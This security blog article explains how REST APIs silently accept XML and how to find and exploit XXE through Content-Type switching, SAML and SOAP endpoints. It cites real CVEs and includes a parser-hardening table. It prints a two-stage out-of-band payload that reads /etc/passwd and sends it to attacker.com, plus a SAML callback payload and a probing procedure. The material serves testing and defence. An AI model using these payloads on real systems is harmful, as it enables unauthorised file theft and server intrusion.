XXE in APIs: Discovering Hidden XML Acceptance and Exfiltrating Data via OOB
The endpoint accepts application/json. The developer never wrote a single line of XML parsing in the route code. The framework underneath, Spring, Django REST, or Express, negotiates content types automatically. Switch a header and the XML parser wakes up.
XXE guides point to DOCX and SVG upload forms as the primary vector. The real surface in 2025 is REST APIs that accept XML bodies without any developer consciously making that decision: via Content-Type switching, via SOAP endpoints hidden under REST-style URLs, and via SAML assertion parsing where the parser runs before signature verification. The probe is not an upload form. It is a header change followed by a DNS callback.
How REST APIs Accept XML Without Knowing
The HTTP/1.1 specification states that the Content-Type header instructs the server on how to interpret the request body. Most MVC frameworks register multiple message converters by default and process the body according to the type declared in the header. The developer does not need to write any XML code for this path to exist.
Spring MVC registers MappingJackson2XmlHttpMessageConverter alongside the JSON converter whenever jackson-dataformat-xml is on the classpath, with no explicit configuration. The direct result: any endpoint annotated with @RequestBody can silently accept XML, even if the API contract declares only JSON.
The probe confirms the surface in a single request. Copy any POST that accepts JSON, switch Content-Type: application/json to Content-Type: application/xml, convert the body to minimal XML, and observe. A 415 Unsupported Media Type response means rejection at the routing level before the parser is invoked. A 400 response with a parse error message confirms the XML parser was activated and the surface exists. A 200 response means the server accepted and processed the XML without complaint.
HackerOne #762251 (Starbucks Singapore) documents the protocol confusion that creates this surface. The /RestApi/soap11 endpoint used REST-style URL naming and returned JSON in normal responses, but the underlying protocol was SOAP. Sending Content-Type: text/xml activated the parser and the attacker read arbitrary files from the server. HackerOne #500515 (Starbucks, China job portal) has 317 upvotes and is the most upvoted XXE report on HackerOne, documenting file read on an endpoint never designed as an XML API.
HackerOne #154096 (Uber, ubermovement.com) confirms the same vector in pure REST. The /api/search/GeneralSearch route accepted XML via Content-Type switching. The XXE was blind, with no reflection in the response, confirmed only by out-of-band DNS callback. $500 bounty, 55 upvotes. CVE-2025-68493 (Apache Struts, CVSS 9.8) escalated the same pattern to maximum criticality: XML body processed by the MVC action framework without authentication, affecting all versions 2.0.0 through 6.1.0.
SAML: The Structural Surface That Cannot Be Fixed by Configuration
The SAML protocol defines the sequence of operations: the Identity Provider signs the XML assertion, the Service Provider receives the SAMLResponse as base64 via POST, the SP decodes and parses the XML, and only then validates the signature. The parser runs on content entirely controlled by the attacker, before any authenticity check. This is not a misconfiguration. It is the mandatory sequence of the protocol.
Disabling the parser would break the SP. Every SAML implementation that processes SAMLResponse is structurally an XXE surface. The question is not whether the endpoint parses XML, but whether the parser was configured to block external entities before any other operation.
CVE-2024-52806 (SimpleSAMLphp SAML2, CVSS 8.3) made the root cause explicit: the DOMDocumentFactory used the libxml2 flags LIBXML_NOENT and LIBXML_DTDLOAD, which enable external entity resolution. The SAMLResponse was parsed before signature verification, pre-authenticated, with impact that went beyond the scope of the affected system (S:C in the CVSS vector). CVE-2025-34142 (ETQ Reliance SSO) reproduces the same pattern at the /resources/sessions/sso endpoint: pre-authenticated XXE with no session or token required.
The test payload for any SAML SP endpoint is to insert <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://callback.interactsh.com">]> into the SAMLResponse body before base64-encoding and sending. If the DNS callback fires, the parser is resolving external entities without authentication.
Two-Stage OOB: Why Blind XXE Requires an External DTD
The classic inline payload works when the server reflects the entity value in some response field. The Uber case (H1 #154096) reflected nothing: the server parsed the XML and discarded the result without returning the entity content. Out-of-band exfiltration was the only option.
The constraint that forces the use of an external DTD comes from the XML specification: parameter entities cannot reference other parameter entities within the same internal DTD subset. Hosting the DTD on an external server bypasses this constraint entirely. Stage 1, injected in the request, does only one thing: fetch the external DTD from the attacker's server.
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
%ext;
]>
Stage 2, the evil.dtd file hosted by the attacker, defines the complete exfiltration chain:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY transmit SYSTEM 'http://attacker.com/?x=%data;'>">
%exfil;
The %data reads the target file. The %exfil builds the callback URL with the content read. The HTTP request to the attacker's server carries the data out of the network. interactsh (open source) serves as a callback receiver without depending on Burp Collaborator.
CVE-2025-2775/2776/2777 (SysAid On-Prem, CVSS 9.3, flagged by CISA as actively exploited in March 2025) used exactly this mechanism. The pre-authenticated SOAP endpoints /mdm/checkin and /lshw were compromised via two-stage OOB, per SonicWall's technical writeup. The complete chain resulted in arbitrary file read and SSRF without authentication.
Parser Defaults: Which Library Is Vulnerable Without Configuration
| Parser | Default behavior | Vulnerable to XXE | Fix |
|---|---|---|---|
Python lxml (etree.parse()) |
Resolves external entities via libxml2 | Yes | etree.XMLParser(resolve_entities=False) |
Python xml.etree.ElementTree
|
Does not resolve external entities | No (classic XXE) | Still vulnerable to Billion Laughs |
Python defusedxml
|
Blocks DTD and external entities | No | Drop-in with no additional configuration |
Java DocumentBuilderFactory
|
Resolves entities by default in all JDKs without hardening | Yes | setFeature("http://xml.org/sax/features/external-general-entities", false) |
PHP DOMDocument (no flags) |
Underlying libxml2, behavior depends on installed version | Partially |
LIBXML_NONET alone is not sufficient |
defusedxml raises DefusedXmlException on any DTD or external entity, making XXE impossible without replacing the library. CVE-2024-52806 (SimpleSAMLphp) documents the PHP case in detail: the flags LIBXML_NOENT and LIBXML_DTDLOAD were passed explicitly to DOMDocumentFactory, activating resolution that without them would depend on the specific version of libxml2 installed on the system.
CVE-2024-30043 (Microsoft SharePoint, CVSS 7.8) demonstrates the cost of unaudited defaults in production. The BaseXmlDataSource class processed XML without external entity restrictions. A user with minimal privileges could read server files, trigger SSRF, and chain NTLM relay, with no additional privilege escalation. The impact affected SharePoint Online and on-premises, patched in May 2024 Patch Tuesday.
The Five-Step Probe: Content-Type Switch + DNS Callback
Step 1: Identify all POST and PUT endpoints on the API surface. Prioritize those that accept arbitrary body content, not only multipart.
Step 2: Clone the request. Switch Content-Type: application/json to Content-Type: application/xml. Convert the JSON body to minimal XML: <root><key>value</key></root>. Send and observe: 415 means the parser was not activated; 400 with a parse error confirms the XML surface is active; 200 means XML was accepted and processed by the server.
Step 3: Test all identified SAML SP endpoints: /sso, /saml/acs, /auth/saml/callback. Send a minimal SAMLResponse with an external entity reference before any authentication. The parser runs before signature validation by protocol design.
Step 4: Track SOAP on the observed surface. Look for Content-Type: text/xml in captured traffic, the ?wsdl suffix on any existing URL, and paths /service, /ws, /soap, /wsdl. HackerOne #762251 showed that SOAP stacks fall outside the API inventory because developers assume only JSON endpoints exist.
Step 5: For each confirmed XML surface, send the two-stage OOB payload with an interactsh ID. Monitor the dashboard for DNS and HTTP callbacks. A DNS callback confirms blind XXE even when HTTP egress is filtered, because the subdomain label carries the exfiltrated data.
The tech_detector from (MAGO team tool) identifies SAML SSO flows and SOAP endpoints passively during API surface mapping.
The endpoint that returns 400 for malformed XML has already confirmed the parser is active. The next request tests whether it resolves external entities.
Top comments (0)